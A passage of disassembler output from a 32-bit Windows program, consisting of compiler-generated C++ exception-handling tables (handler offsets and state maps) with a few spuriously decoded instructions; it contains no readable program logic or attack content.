dd 0 dd offset loc_43A71F dd 0 dd offset loc_43A72A dd 0Eh, 43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch dd 0Eh, 43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh dd 0 dd offset loc_43A799 dd 0 dd offset loc_43A7A4 dd 0 dd offset loc_43A7B2 dd 0 dd offset loc_43A7C0 dd 1Ah, 43A7CBh, 1Bh, 43A7D6h, 0 dd offset loc_43A7E1 dd 1Dh, 43A7ECh, 0 dd offset loc_43A7F7 dd 1Fh, 43A802h, 0 dd offset loc_43A80D dd 0 dd offset loc_43A818 dd 0 dd offset loc_43A823 dd 0 dd offset loc_43A82E dd 0 dd offset loc_43A839 dd 25h, 43A844h, 26h, 43A84Fh, 0 dd offset loc_43A84F dd 28h, 43A844h, 0 dd offset loc_43A85A dd 0 dd offset loc_43A865 dd 2Bh, 43A870h, 2Ch, 43A87Bh, 0 dd offset loc_43A87B dd 2Eh, 43A870h, 2Eh, 43A886h, 0 dd offset loc_43A891 dd 31h, 43A89Ch, 0 dd offset loc_43A8A7 dd 0 dd offset loc_43A8B2 dd 34h, 43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0) dword_440C18 dd 19930520h, 1, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A970h, 2 dup(0) dword_440C48 dd 19930520h, 1, 440C68h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 2 dup(0) dword_440C78 dd 19930520h, 6, 440C98h, 5 dup(0) dd 0FFFFFFFFh, 43A9B0h, 0 dd offset loc_43A9B8 dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0) dword_440CD0 dd 19930520h, 6, 440CF0h, 5 dup(0) dd 0FFFFFFFFh, 43AA10h, 0 dd offset loc_43AA18 dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0) dword_440D28 dd 19930520h, 0Ah, 440D48h, 5 dup(0) dd 0FFFFFFFFh, 43AA70h, 0FFFFFFFFh, 43AA78h, 0FFFFFFFFh dd 43AA80h, 0FFFFFFFFh, 43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh dd 43AA98h, 0FFFFFFFFh, 43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh dd 43AAB0h, 0FFFFFFFFh, 43AAB8h, 4 dup(0) dword_440DA8 dd 19930520h, 0Eh, 440DC8h, 5 dup(0) dd 0FFFFFFFFh, 43AAE0h, 0 dd offset loc_43AAE8 dd 0FFFFFFFFh, 43AAF3h, 0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh dd 43AB03h, 0FFFFFFFFh, 43AB0Bh, 5, 43AB16h, 0FFFFFFFFh dd 43AB1Eh, 0FFFFFFFFh, 43AB26h, 0FFFFFFFFh, 43AB2Eh, 9 dd 43AB39h, 0FFFFFFFFh, 43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h dd 4 dup(0) dword_440E48 dd 19930520h, 2, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB98h, 0 dd offset loc_43AB90 align 10h dword_440E80 dd 19930520h, 2, 440EA0h, 5 dup(0) dd 0FFFFFFFFh, 43ABD0h, 0 dd offset loc_43ABD8 dd 2 dup(0) dword_440EB8 dd 19930520h, 1, 440ED8h, 5 dup(0) dd 0FFFFFFFFh, 43ABF0h, 2 dup(0) dword_440EE8 dd 19930520h, 7, 440F08h, 5 dup(0) dd 0FFFFFFFFh, 43AC10h, 0 dd offset loc_43AC18 dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h dd 2 dup(0) dword_440F48 dd 19930520h, 4, 440F68h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 0 dd offset loc_43AC7B dd 1, 43AC86h, 2, 43AC91h, 2 dup(0) dword_440F90 dd 19930520h, 4, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 43h, 0 dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0) dword_440FD8 dd 19930520h, 2, 440FF8h, 5 dup(0) dd 0FFFFFFFFh, 43AD10h, 0FFFFFFFFh, 43AD18h, 2 dup(0) dword_441010 dd 19930520h, 1, 441030h, 5 dup(0) dd 0FFFFFFFFh, 43AD30h, 2 dup(0) dword_441040 dd 19930520h, 1, 441060h, 5 dup(0) dd 0FFFFFFFFh, 43AD50h, 2 dup(0) dword_441070 dd 19930520h, 2, 441090h, 5 dup(0) dd 0FFFFFFFFh, 43AD70h, 0 dd offset loc_43AD78 dd 2 dup(0) dword_4410A8 dd 19930520h, 3, 4410C8h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0 dd offset loc_43AD98 dd 1, 43ADA3h, 2 dup(0) dword_4410E8 dd 19930520h, 3, 441108h, 5 dup(0) dd 0FFFFFFFFh, 43ADD0h, 0 dd offset loc_43ADD8 dd 1, 43ADE0h, 2 dup(0) dword_441128 dd 19930520h, 1, 441148h, 5 dup(0) dd 0FFFFFFFFh, 43AE00h, 2 dup(0) dword_441158 dd 19930520h, 4, 441178h, 5 dup(0) dd 0FFFFFFFFh, 43AE20h, 0 dd offset loc_43AE28 dd 0 dd offset loc_43AE30 dd 0 dd offset loc_43AE3B align 10h dword_4411A0 dd 19930520h, 6, 4411C0h, 5 dup(0) dd 0FFFFFFFFh, 43AE60h, 0 dd offset loc_43AE68 dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0) dword_4411F8 dd 19930520h, 3, 441218h, 5 dup(0) dd 0FFFFFFFFh, 43AEB0h, 0 dd offset loc_43AEBB dd 1, 43AEC6h, 2 dup(0) dword_441238 dd 19930520h, 4, 441258h, 5 dup(0) dd 0FFFFFFFFh, 43AEF0h, 0 dd offset loc_43AEF8 dd 1, 43AF00h, 2, 43AF08h, 2 dup(0) dword_441280 dd 19930520h, 5, 4412A0h, 5 dup(0) dd 0FFFFFFFFh, 43AF30h, 0 dd offset loc_43AF38 dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0) dword_4412D0 dd 19930520h, 4, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AF80h, 0 dd offset loc_43AF88 dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0) dword_441318 dd 19930520h, 3, 441338h, 5 dup(0) dd 0FFFFFFFFh, 43AFC0h, 0 dd offset loc_43AFC8 dd 1, 43AFD0h, 2 dup(0) dword_441358 dd 19930520h, 1, 441378h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 2 dup(0) dword_441388 dd 19930520h, 2, 4413A8h, 5 dup(0) dd 0FFFFFFFFh, 43B010h, 0 dd offset loc_43B018 align 10h dword_4413C0 dd 19930520h, 2, 4413E0h, 5 dup(0) dd 0FFFFFFFFh, 43B030h, 0 dd offset loc_43B038 dd 2 dup(0) dword_4413F8 dd 19930520h, 3, 441418h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0 dd offset loc_43B05B dd 1, 43B066h, 2 dup(0) dword_441438 dd 19930520h, 1, 441458h, 5 dup(0) dd 0FFFFFFFFh, 43B090h, 2 dup(0) dword_441468 dd 19930520h, 1, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 2 dup(0) dword_441498 dd 19930520h, 4, 4414B8h, 5 dup(0) dd 0FFFFFFFFh, 43B0D0h, 0 dd offset loc_43B0D8 dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0) dword_4414E0 dd 19930520h, 7, 441500h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh dd 43B120h, 2, 43B128h, 3, 43B130h, 4, 43B138h, 0FFFFFFFFh dd 43B140h, 2 dup(0) dword_441540 dd 19930520h, 1Bh, 441560h, 5 dup(0) dd 0FFFFFFFFh, 43B170h, 0 dd offset loc_43B178 dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh, 0Dh, 43B22Bh, 0Eh dd 43B239h, 0Fh, 43B247h, 10h, 43B255h, 11h, 43B263h, 12h dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh, 15h, 43B29Bh, 16h dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h, 19h, 43B2D3h, 6 dup(0) dword_441650 dd 19930520h, 1Bh, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B350h, 0 dd offset loc_43B358 dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh, 0Dh, 43B40Bh, 0Eh dd 43B419h, 0Fh, 43B427h, 10h, 43B435h, 11h, 43B443h, 12h dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh, 15h, 43B47Bh, 16h dd 43B489h, 17h, 43B497h, 18h, 43B4A5h, 19h, 43B4B3h, 6 dup(0) dword_441760 dd 19930520h, 1, 441780h, 5 dup(0) dd 0FFFFFFFFh, 43B530h, 2 dup(0) dword_441790 dd 19930520h, 3Dh, 4417B0h, 5 dup(0) dd 0FFFFFFFFh, 43B550h, 0 dd offset loc_43B55B dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h, 0Dh, 43B60Eh, 0Eh dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h, 11h, 43B646h, 12h dd 43B654h, 13h, 43B662h, 14h, 43B670h, 15h, 43B67Eh, 16h dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h, 19h, 43B6B6h, 1Ah dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h, 1Dh, 43B6EEh, 1Eh dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h, 21h, 43B726h, 22h dd 43B734h, 23h, 43B742h, 24h, 43B750h, 25h, 43B75Eh, 26h dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h, 29h, 43B796h, 2Ah dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h, 2Dh, 43B7CEh, 2Eh dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h, 31h, 43B806h, 32h dd 43B814h, 33h, 43B822h, 34h, 43B830h, 35h, 43B83Eh, 36h dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h, 39h, 43B876h, 3Ah dd 43B884h, 3Bh, 43B892h, 0Eh dup(0) dword_4419D0 dd 19930520h, 4, 4419F0h, 5 dup(0) dd 0FFFFFFFFh, 43B980h, 0 dd offset loc_43B98B dd 1, 43B996h, 2, 43B9A1h, 2 dup(0) dword_441A18 dd 19930520h, 6, 441A38h, 5 dup(0) dd 0FFFFFFFFh, 43B9D0h, 0 dd offset loc_43B9DB dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0) dword_441A70 dd 19930520h, 4, 441A90h, 5 dup(0) dd 0FFFFFFFFh, 43BA40h, 0 dd offset loc_43BA4E dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0) dword_441AB8 dd 19930520h, 5, 441AD8h, 5 dup(0) dd 0FFFFFFFFh, 43BAA0h, 0 dd offset loc_43BAAB dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0) dword_441B08 dd 19930520h, 5, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 0 dd offset loc_43BB0B dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0) dword_441B58 dd 19930520h, 1, 441B78h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0) dword_441B88 dd 19930520h, 1, 441BA8h, 5 dup(0) dd 0FFFFFFFFh, 43BB80h, 2 dup(0) dword_441BB8 dd 19930520h, 1, 441BD8h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 2 dup(0) dword_441BE8 dd 19930520h, 2, 441C08h, 5 dup(0) dd 0FFFFFFFFh, 43BBC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0BBh, 43h, 0 align 10h dword_441C20 dd 19930520h, 4, 441C40h, 5 dup(0) dd 0FFFFFFFFh, 43BBF0h, 0 dd offset loc_43BBFB dd 1, 43BC06h, 2, 43BC11h, 2 dup(0) dword_441C68 dd 19930520h, 4, 441C88h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 0 dd offset loc_43BC4B dd 1, 43BC56h, 2, 43BC61h, 2 dup(0) dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43BC90h, 0 dd offset loc_43BC9B dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0) dword_441D08 dd 19930520h, 4, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43BD00h, 0 dd offset loc_43BD0E dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0) dword_441D50 dd 19930520h, 5, 441D70h, 5 dup(0) dd 0FFFFFFFFh, 43BD60h, 0 dd offset loc_43BD6B dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0) dword_441DA0 dd 19930520h, 5, 441DC0h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0BDh, 43h, 0 dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0) dword_441DF0 dd 19930520h, 1, 441E10h, 5 dup(0) dd 0FFFFFFFFh, 43BE20h, 2 dup(0) dword_441E20 dd 19930520h, 1, 441E40h, 5 dup(0) dd 0FFFFFFFFh, 43BE40h, 2 dup(0) dword_441E50 dd 19930520h, 1, 441E70h, 5 dup(0) dd 0FFFFFFFFh, 43BE60h, 2 dup(0) dword_441E80 dd 19930520h, 2, 441EA0h, 5 dup(0) dd 0FFFFFFFFh, 43BE80h, 0 dd offset loc_43BE8B dd 2 dup(0) dword_441EB8 dd 19930520h, 4, 441ED8h, 5 dup(0) dd 0FFFFFFFFh, 43BEB0h, 0 dd offset loc_43BEBB dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0) dword_441F00 dd 19930520h, 1, 441F20h, 5 dup(0) dd 0FFFFFFFFh, 43BF00h, 2 dup(0) dword_441F30 dd 19930520h, 2, 441F50h, 5 dup(0) dd 0FFFFFFFFh, 43BF20h, 0 dd offset loc_43BF2B dd 2 dup(0) dword_441F68 dd 19930520h, 1, 441F88h, 5 dup(0) dd 0FFFFFFFFh, 43BF50h, 2 dup(0) dword_441F98 dd 19930520h, 1, 441FB8h, 5 dup(0) dd 0FFFFFFFFh, 43BF70h, 2 dup(0) dword_441FC8 dd 19930520h, 2, 441FE8h, 5 dup(0) dd 0FFFFFFFFh, 43BF90h, 0 dd offset loc_43BF9B align 10h dword_442000 dd 19930520h, 1, 442020h, 5 dup(0) dd 0FFFFFFFFh, 43BFC0h, 2 dup(0) dword_442030 dd 19930520h, 3, 442050h, 5 dup(0) dd 0FFFFFFFFh, 43BFE0h, 0 dd offset loc_43BFF7 dd 1, 43BFFFh, 2 dup(0) dword_442070 dd 19930520h, 1, 442090h, 5 dup(0) dd 0FFFFFFFFh, 43C020h, 2 dup(0) dword_4420A0 dd 19930520h, 4, 4420C0h, 5 dup(0) dd 0FFFFFFFFh, 43C048h, 0 dd offset sub_43C040 dd 0 dd offset loc_43C05F dd 2, 43C067h, 2 dup(0) dword_4420E8 dd 19930520h, 6, 442108h, 5 dup(0) dd 0FFFFFFFFh, 43C090h, 0FFFFFFFFh, 43C098h, 0FFFFFFFFh dd 43C0A0h, 0FFFFFFFFh, 43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh dd 43C0B8h, 2 dup(0) dword_442140 dd 19930520h, 1Ah, 442160h, 5 dup(0) dd 0FFFFFFFFh, 43C0E0h, 0 dd offset loc_43C0EB dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0) dword_442248 dd 19930520h, 4, 442268h, 5 dup(0) dd 0FFFFFFFFh, 43C270h, 0 dd offset loc_43C278 dd 1, 43C283h, 2, 43C28Eh, 2 dup(0) dword_442290 dd 19930520h, 4, 4422B0h, 5 dup(0) dd 0FFFFFFFFh, 43C2B0h, 0 dd offset loc_43C2B8 dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0) dword_4422D8 dd 19930520h, 6, 4422F8h, 5 dup(0) dd 0FFFFFFFFh, 43C2F0h, 0 ; --------------------------------------------------------------------------- clc retn 43h ; --------------------------------------------------------------------------- dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0) dword_442330 dd 19930520h, 6, 442350h, 5 dup(0) dd 0FFFFFFFFh, 43C350h, 0 ; --------------------------------------------------------------------------- pop eax retn ; --------------------------------------------------------------------------- dw 43h dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0) dword_442388 dd 19930520h, 6, 4423A8h, 5 dup(0) dd 0FFFFFFFFh, 43C3B0h, 0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh dd 43C3C6h, 2, 43C3D1h, 3, 43C3DCh, 2, 43C3E7h, 2 dup(0) dword_4423E0 dd 19930520h, 3, 442400h, 5 dup(0) dd 0FFFFFFFFh, 43C410h, 0FFFFFFFFh, 43C418h, 0FFFFFFFFh dd 43C420h, 2 dup(0) dword_442420 dd 19930520h, 5, 442440h, 5 dup(0) dd 0FFFFFFFFh, 43C440h, 0FFFFFFFFh, 43C448h, 0FFFFFFFFh dd 43C450h, 0FFFFFFFFh, 43C458h, 0FFFFFFFFh, 43C460h, 2 dup(0) dword_442470 dd 19930520h, 0Ch, 442490h, 5 dup(0) dd 0FFFFFFFFh, 43C480h, 0 dd offset loc_43C488 dd 0FFFFFFFFh, 43C490h, 0FFFFFFFFh, 43C498h, 0FFFFFFFFh dd 43C4A0h, 0FFFFFFFFh, 43C4A8h, 5, 43C4B0h, 0FFFFFFFFh dd 43C4B8h, 0FFFFFFFFh, 43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh dd 43C4D0h, 0FFFFFFFFh, 43C4D8h, 4 dup(0) dd 19930520h, 2, 442520h, 1, 442530h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 442548h, 4 dup(0) dd offset loc_41EF2C align 10h dword_442560 dd 19930520h, 0Ah, 442580h, 5 dup(0) dd 0FFFFFFFFh, 43C520h, 0 dd offset loc_43C52B dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0) dword_4425E0 dd 19930520h, 2, 442600h, 5 dup(0) dd 0FFFFFFFFh, 43C5C0h, 0 dd offset loc_43C5C8 dd 2 dup(0) dword_442618 dd 19930520h, 3, 442638h, 5 dup(0) dd 0FFFFFFFFh, 43C5E0h, 0FFFFFFFFh, 43C5EBh, 1, 43C5F6h dd 2 dup(0) dword_442658 dd 19930520h, 1, 442678h, 5 dup(0) dd 0FFFFFFFFh, 43C620h, 2 dup(0) dword_442688 dd 19930520h, 2, 4426A8h, 5 dup(0) dd 0FFFFFFFFh, 43C640h, 0 dd offset loc_43C64B align 10h dword_4426C0 dd 19930520h, 16h, 4426E0h, 5 dup(0) dd 0FFFFFFFFh, 43C670h, 0 dd offset loc_43C67B dd 0 dd offset loc_43C683 dd 0 dd offset loc_43C68B dd 3, 43C693h, 4, 43C69Bh, 0 dd offset loc_43C6A3 dd 6, 43C6ABh, 7, 43C6B3h, 0 dd offset loc_43C6BB dd 9, 43C6C3h, 0Ah, 43C6CBh, 0 dd offset loc_43C6D3 dd 0Ch, 43C6DBh, 0Dh, 43C6E3h, 0 dd offset loc_43C6EB dd 0Fh, 43C6F3h, 0 dd offset loc_43C6FB dd 11h, 43C703h, 0 dd offset loc_43C70B dd 13h, 43C713h, 13h, 43C71Bh, 6 dup(0) dword_4427A8 dd 19930520h, 1, 4427C8h, 5 dup(0) dd 0FFFFFFFFh, 43C760h, 2 dup(0) dword_4427D8 dd 19930520h, 1, 4427F8h, 5 dup(0) dd 0FFFFFFFFh, 43C790h, 2 dup(0) dword_442808 dd 19930520h, 5, 442828h, 5 dup(0) dd 0FFFFFFFFh, 43C7C0h, 0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh dd 43C7D0h, 0FFFFFFFFh, 43C7D8h, 0FFFFFFFFh, 43C7E0h, 2 dup(0) dword_442858 dd 19930520h, 0Bh, 442878h, 5 dup(0) dd 0FFFFFFFFh, 43C800h, 0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh dd 43C821h, 0FFFFFFFFh, 43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh dd 43C842h, 0FFFFFFFFh, 43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh dd 43C863h, 0FFFFFFFFh, 43C86Eh, 0FFFFFFFFh, 43C816h, 4 dup(0) dword_4428E0 dd 19930520h, 1, 442900h, 5 dup(0) dd 0FFFFFFFFh, 43C8B0h, 2 dup(0) dword_442910 dd 19930520h, 5, 442930h, 5 dup(0) dd 0FFFFFFFFh, 43C8D0h, 0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh dd 43C8E0h, 0FFFFFFFFh, 43C8E8h, 0FFFFFFFFh, 43C8F0h, 2 dup(0) dword_442960 dd 19930520h, 15h, 442980h, 5 dup(0) dd 0FFFFFFFFh, 43C910h, 0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh dd 43C923h, 0FFFFFFFFh, 43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh dd 43C93Bh, 0FFFFFFFFh, 43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh dd 43C956h, 0FFFFFFFFh, 43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh dd 43C971h, 0FFFFFFFFh, 43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh dd 43C989h, 0FFFFFFFFh, 43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh dd 43C9A4h, 0FFFFFFFFh, 43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh dd 43C9BCh, 6 dup(0) dword_442A40 dd 19930520h, 1, 442A60h, 5 dup(0) dd 0FFFFFFFFh, 43CA00h, 2 dup(0) dword_442A70 dd 19930520h, 5, 442A90h, 5 dup(0) dd 0FFFFFFFFh, 43CA20h, 0 dd offset loc_43CA28 dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0) dword_442AC0 dd 19930520h, 5, 442AE0h, 5 dup(0) dd 0FFFFFFFFh, 43CA70h, 0 dd offset loc_43CA78 dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0) dword_442B10 dd 19930520h, 1, 442B30h, 5 dup(0) dd 0FFFFFFFFh, 43CAC0h, 2 dup(0) dword_442B40 dd 19930520h, 1, 442B60h, 5 dup(0) dd 0FFFFFFFFh, 43CAE0h, 2 dup(0) dword_442B70 dd 19930520h, 1, 442B90h, 5 dup(0) dd 0FFFFFFFFh, 43CB00h, 2 dup(0) dword_442BA0 dd 19930520h, 1, 442BC0h, 5 dup(0) dd 0FFFFFFFFh, 43CB20h, 2 dup(0) dword_442BD0 dd 19930520h, 1, 442BF0h, 5 dup(0) dd 0FFFFFFFFh, 43CB40h, 2 dup(0) dword_442C00 dd 19930520h, 1, 442C20h, 5 dup(0) dd 0FFFFFFFFh, 43CB60h, 2 dup(0) dword_442C30 dd 19930520h, 1, 442C50h, 5 dup(0) dd 0FFFFFFFFh, 43CB80h, 2 dup(0) dword_442C60 dd 19930520h, 1, 442C80h, 5 dup(0) dd 0FFFFFFFFh, 43CBA0h, 2 dup(0) dword_442C90 dd 19930520h, 6, 442CB0h, 5 dup(0) dd 0FFFFFFFFh, 43CBC0h, 0 dd offset loc_43CBC8 dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0) dword_442CE8 dd 19930520h, 6, 442D08h, 5 dup(0) dd 0FFFFFFFFh, 43CC20h, 0 dd offset loc_43CC28 dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0) dword_442D40 dd 19930520h, 3, 442D60h, 5 dup(0) dd 0FFFFFFFFh, 43CC80h, 0 dd offset loc_43CC88 dd 1, 43CC96h, 2 dup(0) dword_442D80 dd 19930520h, 16h, 442DA0h, 5 dup(0) dd 0FFFFFFFFh, 43CCC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 2 dw 43h dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah dd 43CD39h, 2, 43CD44h, 0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh, 0Fh, 43CD86h, 0Fh dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h, 6 dup(0) dword_442E68 dd 19930520h, 1, 442E88h, 5 dup(0) dd 0FFFFFFFFh, 43CE00h, 2 dup(0) dword_442E98 dd 19930520h, 1, 442EB8h, 5 dup(0) dd 0FFFFFFFFh, 43CE20h, 2 dup(0) dword_442EC8 dd 19930520h, 1, 442EE8h, 5 dup(0) dd 0FFFFFFFFh, 43CE40h, 2 dup(0) dword_442EF8 dd 19930520h, 1, 442F18h, 5 dup(0) dd 0FFFFFFFFh, 43CE60h, 2 dup(0) dword_442F28 dd 19930520h, 1, 442F48h, 5 dup(0) dd 0FFFFFFFFh, 43CE80h, 2 dup(0) dword_442F58 dd 19930520h, 2, 442F78h, 1, 442F88h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 442FA0h, 4 dup(0) dd offset loc_42C244 dd 2 dup(0) dword_442FB8 dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 443000h, 4 dup(0) dd offset loc_42C321 dd 2 dup(0) dword_443018 dd 19930520h, 3, 443038h, 5 dup(0) dd 0FFFFFFFFh, 43CEC0h, 0 dd offset loc_43CEC8 dd 1, 43CED0h, 2 dup(0) dword_443058 dd 19930520h, 1, 443078h, 5 dup(0) dd 0FFFFFFFFh, 43CF00h, 2 dup(0) dword_443088 dd 19930520h, 1, 4430A8h, 5 dup(0) dd 0FFFFFFFFh, 43CF20h, 2 dup(0) dword_4430B8 dd 19930520h, 1, 4430D8h, 5 dup(0) dd 0FFFFFFFFh, 43CF40h, 2 dup(0) dword_4430E8 dd 19930520h, 1, 443108h, 5 dup(0) dd 0FFFFFFFFh, 43CF60h, 2 dup(0) dword_443118 dd 19930520h, 1, 443138h, 5 dup(0) dd 0FFFFFFFFh, 43CF80h, 2 dup(0) dword_443148 dd 19930520h, 6, 443168h, 5 dup(0) dd 0FFFFFFFFh, 43CFA0h, 0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh dd 43CFB0h, 0FFFFFFFFh, 43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh dd 43CFC8h, 2 dup(0) dword_4431A0 dd 19930520h, 16h, 4431C0h, 5 dup(0) dd 0FFFFFFFFh, 43CFF0h, 0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh dd 43D003h, 0FFFFFFFFh, 43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh dd 43D01Eh, 0FFFFFFFFh, 43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh dd 43D036h, 0FFFFFFFFh, 43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh dd 43D051h, 0FFFFFFFFh, 43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch, 0Eh, 43D084h, 0Eh dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch, 0Eh, 43D09Ch, 6 dup(0) dword_443288 dd 19930520h, 2, 4432A8h, 5 dup(0) dd 0FFFFFFFFh, 43D0E0h, 0FFFFFFFFh, 43D0E8h, 2 dup(0) dword_4432C0 dd 19930520h, 2, 4432E0h, 5 dup(0) dd 0FFFFFFFFh, 43D100h, 0 dd offset loc_43D10B dd 2 dup(0) dword_4432F8 dd 19930520h, 